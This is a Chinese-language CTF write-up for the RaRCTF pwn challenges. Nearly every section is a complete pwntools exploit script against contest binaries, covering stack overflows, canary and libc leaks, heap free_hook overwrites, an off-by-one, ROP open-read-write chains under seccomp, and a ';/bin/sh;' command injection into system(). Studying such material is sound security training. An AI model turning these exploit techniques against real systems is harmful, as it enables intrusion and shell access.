RaRCTF-PWN-WP
一场非常温暖人心的比赛,pwn 题比较简单,也是第一次在比赛里做完了 pwn 题。题目虽然挺简单,但是挺有意思的。做的虽然很累,但是体验尚可。
Archer
这题直接 nc 就可以了
ret2winRaRs
#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh = remote("193.57.159.27", "30527")
sh.sendlineafter("access:", "a" * 0x20 + 'b' * 0x8 + p64(0x0000000000401016) + p64(0x401162))
sh.interactive()
Not That Simple
通过这题学到了可以用 getdents 系统调用读取目录中的文件名。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
context.os = 'linux'
context.arch = 'amd64'
bss_base = 0x404108
#sh = process("./notsimple")
sh = remote("193.57.159.27", "37284")
sh.recvuntil("leaking! ")
stack_addr = int(sh.recvuntil("\n", drop = True), base = 16)
payload = ""
payload = payload.ljust(0x50, 'a')
payload += 'b' * 8
payload += p64(stack_addr + 0xA0)
payload += 'a' * 0x40
payload += asm(shellcraft.open('.'))
payload += asm(shellcraft.getdents64(3, bss_base + 0x300, 0x600))
payload += asm(shellcraft.write(1, bss_base + 0x300, 0x600))
#gdb.attach(proc.pidof(sh)[0])
sh.sendlineafter("> ", payload)
sh.interactive()
The Guessing Game
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
sh = process("./guess")
sh = remote("193.57.159.27", "59624")
elf = ELF("./guess")
libc = ELF("./libc-2.31.so")
guessed_times = 0
def one_guess(idx, val):
sh.sendlineafter("guessing (0-7)? ", str(idx))
sh.sendlineafter("guess: ", str(val))
back = sh.recvuntil("\n", drop = True)
# log.success(back + " " + hex(val))
if (back == "You got it!"):
return 0
if (back == "Too high!"):
return 1
if (back == "Ouch, too low!"):
return -1
def plain_search(idx):
l, r = 0, 255
mid = 0
while (l <= r):
mid = (l + r) >> 1
result = one_guess(idx, mid)
if (result == 0):
global guessed_times
guessed_times = guessed_times + 1
return mid
elif (result == -1):
l = mid + 1
else:
r = mid - 1
return mid
def fancy_search(idx):
l, r = 0, 255
mid = 0
while (l <= r):
mid = (l + r) >> 1
result = one_guess(idx, mid)
if (result == 0):
global guessed_times
guessed_times = guessed_times + 1
return mid
elif (result == -1):
second_try = one_guess(idx, mid + 2)
if (second_try == 1):
log.success("lucky guess!" + hex(mid + 1))
return (mid + 1)
elif (second_try == -1):
l = mid + 3
else:
global guessed_times
guessed_times = guessed_times + 1
return (mid + 2)
else:
second_try = one_guess(idx, mid - 2)
if (second_try == -1):
log.success("lucky guess!" + hex(mid - 1))
return (mid - 1)
elif (second_try == 1):
r = mid - 3
else:
global guessed_times
guessed_times = guessed_times + 1
return (mid - 2)
log.success("might failed")
return mid
def search7byte(start_idx):
val = 0
for i in range(7):
val += int(fancy_search(start_idx + 7 - i))
val = val << 8
return val
def search6byte(start_idx):
if (guessed_times > 8):
return -1
val = 0
for i in range(6):
val += int(fancy_search(start_idx + 5 - i))
val = val << 8
return val >> 8
canary = search7byte(0x20)
log.success("canary: " + hex(canary))
log.success("guessed_times: " + hex(guessed_times))
_start_addr = search6byte(0x10)
log.success("_start: " + hex(_start_addr))
log.success("guessed_times: " + hex(guessed_times))
while(guessed_times < 8):
plain_search(0)
prog_base = _start_addr - 0x10D0
payload = 'a' * 0x18 + p64(canary) + 'b' * 8 + p64(prog_base + elf.sym["_start"])
sh.sendafter("game? ", payload)
global guessed_times
guessed_times = 0
__libc_start_main = search6byte(0x30) - 243
libc_base = __libc_start_main - libc.sym["__libc_start_main"]
log.success("libc_base: " + hex(libc_base))
while(guessed_times < 8):
plain_search(0)
payload = 'a' * 0x18 + p64(canary) + 'b' * 8 + p64(libc_base + 0xe6c81)
sh.sendafter("game? ", payload)
#gdb.attach(proc.pidof(sh)[0])
sh.interactive()
leak 出 canary,prog_base,libc_base。接下来有 12 字节溢出,onegadget 可行,就可以 getshell 了。
RaRmony
一直想着拿 shell,但是实际上只要改自己的权限就可以了
即修改这个结构体
struct UserRole
{
__int32 idx;
__int32 roleIdx;
void *set_role;
char name[32];
void *update_username;
};
中的 roleIdx 为 0
劫持函数指针为 setRole 可以设置
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
sh = process("./harmony")
sh.sendlineafter("> ", '3')
sh.sendafter("username: ", '\xFF' * 0x20 + p64(0xEE40153B))
sh.sendlineafter("> ", '3')
sh.sendlineafter("> ", '3')
sh.sendlineafter("> ", '3')
sh.sendlineafter("> ", '0')
sh.sendlineafter("> ", '2')
sh.interactive()
Return of Emoji DB
结构体声明如下
typedef struct __attribute__((__packed__)) EmojiEntry
{
uint8_t data[4];
char *title;
} entry;
也就是 data 和 title 紧邻
write(1, entries[index]->data, count_leading_ones(entries[index]->data[0]));
read(0, new_entry->data + 1, count_leading_ones(new_entry->data[0]) - 1);
通过上面的 read 可以写 title 指针的低四个字节 write 可以读出低四个字节
由于是 libc 2.31,所以 double free 可能比较麻烦
double free 不行就做 chunk overlapping
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = 'debug'
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(title, data_1, data_7):
sh.sendlineafter("\n> ", '1')
sh.sendafter("title: ", title)
sh.sendafter("emoji: ", data_1)
sh.send(data_7)
def read(idx):
sh.sendlineafter("\n> ", '2')
sh.sendlineafter("index to read: ", str(idx))
def delete(idx):
sh.sendlineafter("\n> ", '3')
sh.sendlineafter("index to delete: ", str(idx))
def garbageCollect():
sh.sendlineafter("\n> ", '4')
for _ in range(16):
try:
#sh = process("./emoji")
sh = remote("193.57.159.27", "32994")
for i in range(8):
add('\n', '\xFF', '\n')
for i in range(8):
delete(7 - i)
garbageCollect()
add('\n', '\xFF', '\x00\x00\x00\xD0\xa2') # idx: 0
read(0)
sh.recvuntil("Title: ")
libc_base = u64(sh.recv(6).ljust(8, '\x00')) - libc.sym["__malloc_hook"] - 0x70
__free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
log.success("libc_base: " + hex(libc_base))
#gdb.attach(proc.pidof(sh)[0])
payload = 'a' * 0x50 + p64(0) + p64(0x91)
add(payload, '\xFF', '\n') # idx: 1
payload = 'a' * 0x40 + p64(0x21) * 7 # 0x80
add(payload, '\xFF', '\n') # idx: 2
add('\n', '\xFF', '\x00\x00\x00\x90\xa4') # idx: 3
delete(3)
garbageCollect()
delete(1)
garbageCollect()
payload = 'a' * 0x50 + p64(0) + p64(0x91) + p64(__free_hook)
add(payload, '\xFF', '\n')
add('/bin/sh\x00', '\xFF', '\n') # idx: 3
add(p64(system_addr), '\xFF', '\n') # idx: 4
delete(3)
garbageCollect()
sh.sendline("echo pwned!")
sh.recvuntil("pwned!")
sh.sendline("cat flag")
sh.interactive()
except:
sh.close()
boring-flag-runner
和 re boring-flag-checker 有一样的二进制
实现了一个 bf 解释器,空间分配在栈上,没做边界检测,所以可以栈溢出。 远程是没有回显的
timeout 10 ./boring-flag-checker /tmp/$FILENAME > /dev/null
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
def transOne(op):
if (op == '>'):
return '\x00'
if (op == '<'):
return '\x02'
if (op == '+'):
return '\x07'
if (op == '-'):
return '\x06'
if (op == '.'):
return '\x05'
if (op == ','):
return '\x04'
if (op == '['):
return '\x03'
if (op == ']'):
return '\x01'
def transAll(code):
vmcode = ""
for i in code:
vmcode += transOne(i)
return vmcode
code = '>' * (0x130 + 0x8)
code += '>' * 8
mov_0_a = '[-]'
code += (mov_0_a + '>') * 0x28
code += '<' * 0x30
mov_a_ap8 = '[->>>>>>>>+>+<<<<<<<<<]>>>>>>>>>[-<<<<<<<<<+>>>>>>>>>]<<<<<<<<<'
code += (mov_a_ap8 + '>') * 0x20
code += '<' * 0x20 # back
code += '-' * 0x41
code += '>'
code += '-' * 0x5
code += '>' * 7
code += '+' * 0xF7
code += '>'
code += '+' * 0x05
code += '>'
code += '+' * 0x19
code += '>' * 0x6
code += '-' * 0x3a
code += '>'
code += '-' * 0x1a
code += '>' * 7
code += '+' * 0x5D
code += '>'
code += '+' * (0xE3 + 1)
code += '>'
code += '+' * (0x2 + 1)
vmcode = transAll(code)
#sh = process("./boring-flag-checker")
sh = remote("193.57.159.27", "28643")
sh.sendlineafter("program:", vmcode)
#gdb.attach(proc.pidof(sh)[0])
sh.interactive()
有一定概率打不通,打通之后执行 exec 1>&0
把标准输出重定向到标准输入,就可以回显了
Unintended
if ( !strncmp("web", challenges[challenge_num]->category, 3uLL) )
{
printf("New challenge description: ");
v6 = strlen(challenges[challenge_num]->description);
read(0, challenges[challenge_num]->description, v6);
puts("Patched challenge!");
ctftime_rating -= 5;
}
patch 功能中存在 off-by-one
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
#sh = process("./unintended")
sh = remote("193.57.159.27", "59314")
libc = ELF("./libc.so.6")
def makeChallenge(number, category, name, desc_size, desc, points):
sh.sendlineafter("> ", '1')
sh.sendlineafter("number: ", str(number))
sh.sendafter("category: ", category)
sh.sendafter("name: ", name)
sh.sendlineafter("length: ", str(desc_size))
sh.sendafter("description: ", desc)
sh.sendlineafter("Points: ", str(points))
def patchChallenge(number, desc):
sh.sendlineafter("> ", '2')
sh.sendlineafter("number: ", str(number))
sh.sendafter("description: ", desc)
def deployChallenge(number):
sh.sendlineafter("> ", '3')
sh.sendlineafter("number: ", str(number))
def takeDownChallenge(number):
sh.sendlineafter("> ", '4')
sh.sendlineafter("number: ", str(number))
makeChallenge(0, 'web', 'idx:0', 0x800, 'idx:0', 100)
makeChallenge(1, 'web', 'idx:1', 0x100, 'idx:1', 100)
makeChallenge(2, 'web', 'idx:2', 0x100, 'idx:2', 100)
takeDownChallenge(0) # 22
takeDownChallenge(1) # 19
takeDownChallenge(2) # 16
makeChallenge(0, 'web', 'idx:0', 0x208, 'a'.ljust(0x208, 'a'), 100)
makeChallenge(1, 'web', 'idx:1', 0x5E0, 'aaaaaaaa', 100)
makeChallenge(2, 'web', 'idx:2', 0x100, 'a', 100)
deployChallenge(2)
sh.recvuntil("Description: ")
heap_base = u64(sh.recv(6).ljust(8, '\x00')) - 0xa61
log.success("heap_base: " + hex(heap_base))
deployChallenge(1)
sh.recvuntil("a" * 8)
libc_base = u64(sh.recv(6).ljust(8, '\x00')) - libc.sym["__malloc_hook"] - 0xF0 - 0x470 + 0x80
__free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
log.success("libc_base: " + hex(libc_base))
payload = p64(0) + p64(0x21)
payload += p64(heap_base + 0x290 + 0x10) * 2
payload += (p64(0x20) + p64(0x21)) * 10
patchChallenge(0, payload.ljust(0x200, 'a') + p64(0x200) + '\x00') # 11
takeDownChallenge(1) # 8
makeChallenge(3, 'web', 'idx:3', 0x80, 'a', 100)
takeDownChallenge(3) # 5
takeDownChallenge(0) # 2
makeChallenge(0, 'web', 'idx:0', 0x200, p64(0) + p64(0x91) + p64(__free_hook), 100)
makeChallenge(6, 'web', '/bin/sh\x00', 0x80, '/bin/sh\x00', 100)
makeChallenge(7, 'web', '/bin/sh\x00', 0x80, p64(system), 100)
takeDownChallenge(6)
#gdb.attach(proc.pidof(sh)[0])
sh.interactive()
Object Oriented Pwning
SetName 函数中存在堆溢出
void Animal::SetName() {
printf("What will you name your new animal? ");
flush();
unsigned char c;
int read = 0;
while ((c = getchar()) != '\n' && read < 64) {
this->name[read] = c;
read++;
}
}
对应的基类定义为
class Animal {
public:
virtual void Age();
virtual void PrintInfo();
virtual int Sell() = 0;
void Translate();
void SetName();
virtual ~Animal() = default;
char type[16];
bool dead = false;
uint8_t max_age;
uint8_t hunger = 0;
protected:
uint8_t age = 1;
char name[16];
};
配合 translate 函数
void Animal::Translate() {
char buf[1024];
sprintf(buf, "/usr/games/cowsay -f ./%s.txt 'Feed me!'", this->type);
system(buf);
}
通过堆溢出修改 type 为 ;/bin/sh;
,执行该函数即可
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
#sh = process("./oop")
sh = remote("193.57.159.27", "25295")
def listAnimal():
sh.sendlineafter("> ", '1')
def sell(idx):
sh.sendlineafter("> ", '2')
sh.sendlineafter("animal? ", str(idx))
sh.sendlineafter("> ", '1')
def rename(idx, name):
sh.sendlineafter("> ", '2')
sh.sendlineafter("animal? ", str(idx))
sh.sendlineafter("> ", '3')
sh.sendlineafter("animal? ", name)
def buy(which, name):
sh.sendlineafter("> ", '3')
sh.sendlineafter("> ", str(which))
sh.sendlineafter("animal? ", name)
def translator(idx):
sh.sendlineafter("> ", '4')
sh.sendlineafter("> ", '2')
sh.sendlineafter("animal? ", str(idx))
sh.sendlineafter("> ", '4')
buy(2, '0')
buy(2, '1')
listAnimal()
listAnimal()
sell(0)
sell(1)
buy(2, '0')
buy(2, '1')
listAnimal()
listAnimal()
sell(0)
sell(1)
buy(1, '0')
buy(1, '1')
#gdb.attach(proc.pidof(sh)[0])
rename(0, 'a' * 0x14 + p64(0) + p64(0x41) + p64(0x404d78) + 'flag')
translator(1)
sh.interactive()
拿 shell 之后不给我回显,不知道为什么,所以就改成读 flag 了。
The Mound
ptmalloc 中的 prev_size 字段即为 key,通过 edit 方法可以多次修改,由此实现 double free。然后分配到 0xdead0008000 - 8 上,改 chunk_start 是可以的,所以可以任意地址分配
主要麻烦在于开启了 seccomp,只能做 orw
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
#sh = process("./mound")
sh = remote("193.57.159.27", "41932")
elf = ELF("./mound")
libc = ELF("./libc.so.6")
def add_malloc(idx, payload):
sh.sendlineafter("> ", '1')
sh.sendafter("Pile: ", payload)
sh.sendlineafter("index: ", str(idx))
def add_mound(idx, payload, size):
sh.sendlineafter("> ", '2')
sh.sendlineafter("pile: ", str(size))
sh.sendlineafter("index: ", str(idx))
sh.sendafter("Pile: ", payload)
def edit(idx, payload):
sh.sendlineafter("> ", '3')
sh.sendlineafter("index: ", str(idx))
sh.sendafter("pile: ", str(payload))
def delete(idx):
sh.sendlineafter("> ", '4')
sh.sendlineafter("index: ", str(idx))
add_mound(0, 'a' * 0xF0, 0xF0)
add_mound(1, 'a' * 0xF0, 0xF0)
add_mound(2, 'a' * 0xF0, 0xF0)
add_mound(3, 'a' * 0xF0, 0xF0)
delete(0)
delete(1)
delete(2)
delete(3)
add_malloc(0, 'a' * 0xF7)
add_malloc(1, 'a' * 0xF7)
edit(0, 'a' * 0xF0 + p64(0x00000beef0000010)[:-1])
delete(1)
edit(0, 'b' * 0xF0 + p64(1)[:-1])
delete(1)
add_mound(2, p64(0x00000beef0000010) + p64(0xdead0008008 - 0x10), 0xF0)
add_mound(3, p64(0x00000beef0000010), 0xF0)
add_mound(4, p64(0x00000beef0000010) + p64(0x404068), 0xF0)
payload = p64(elf.sym["win"]) + '.\x00'
add_mound(5, payload, 0x200)
pop_rdi_ret = 0x0000000000401e8b
ret = 0x0000000000401016
rop = 'a' * 0x40 + 'b' * 8
rop += p64(pop_rdi_ret)
rop += p64(elf.got["printf"])
rop += p64(ret)
rop += p64(elf.plt["printf"])
rop += p64(elf.sym["win"])
#gdb.attach(proc.pidof(sh)[0])
sh.sendafter(";)\n", rop)
libc_base = u64(sh.recv(6).ljust(8, '\x00')) - libc.sym["printf"]
log.success("libc_base: " + hex(libc_base))
pop_rax_rdx_rbx_ret = libc_base + 0x0000000000162865
pop_rsi_ret = libc_base + 0x0000000000027529
syscall_ret = libc_base + 0x0000000000066229
rop = 'a' * 0x40 + 'b' * 8
rop += p64(pop_rdi_ret)
rop += p64(0x404080)
rop += p64(pop_rsi_ret)
rop += p64(0)
rop += p64(pop_rax_rdx_rbx_ret)
rop += p64(0) + p64(0) + p64(0)
rop += p64(libc_base + libc.sym["open"])
rop += p64(pop_rdi_ret)
rop += p64(3)
rop += p64(pop_rsi_ret)
rop += p64(0x00000beef0000000)
rop += p64(pop_rax_rdx_rbx_ret)
rop += p64(217) + p64(0x600) + p64(0)
rop += p64(syscall_ret)
rop += p64(pop_rdi_ret)
rop += p64(1)
rop += p64(pop_rsi_ret)
rop += p64(0x00000beef0000000)
rop += p64(pop_rax_rdx_rbx_ret)
rop += p64(0) + p64(0x600) + p64(0)
rop += p64(libc_base + libc.sym["write"])
rop += p64(pop_rdi_ret)
rop += p64(0)
rop += p64(pop_rsi_ret)
rop += p64(0x00000beef0001000)
rop += p64(pop_rax_rdx_rbx_ret)
rop += p64(0) + p64(0x20) + p64(0)
rop += p64(libc_base + libc.sym["read"])
rop += 'a' * 0x40 + 'b' * 8
rop += p64(pop_rdi_ret)
rop += p64(0x00000beef0001000)
rop += p64(pop_rsi_ret)
rop += p64(0)
rop += p64(pop_rax_rdx_rbx_ret)
rop += p64(0) + p64(0) + p64(0)
rop += p64(libc_base + libc.sym["open"])
rop += p64(pop_rdi_ret)
rop += p64(4)
rop += p64(pop_rsi_ret)
rop += p64(0x00000beef0000000)
rop += p64(pop_rax_rdx_rbx_ret)
rop += p64(0) + p64(0x60) + p64(0)
rop += p64(libc_base + libc.sym["read"])
rop += p64(pop_rdi_ret)
rop += p64(1)
rop += p64(pop_rsi_ret)
rop += p64(0x00000beef0000000)
rop += p64(pop_rax_rdx_rbx_ret)
rop += p64(0) + p64(0x60) + p64(0)
rop += p64(libc_base + libc.sym["write"])
sh.sendafter(";)\n", rop)
sh.interactive()
远程把 flag 名字随机掉了,所以用 getdents 先把文件名读出来,然后再 orw。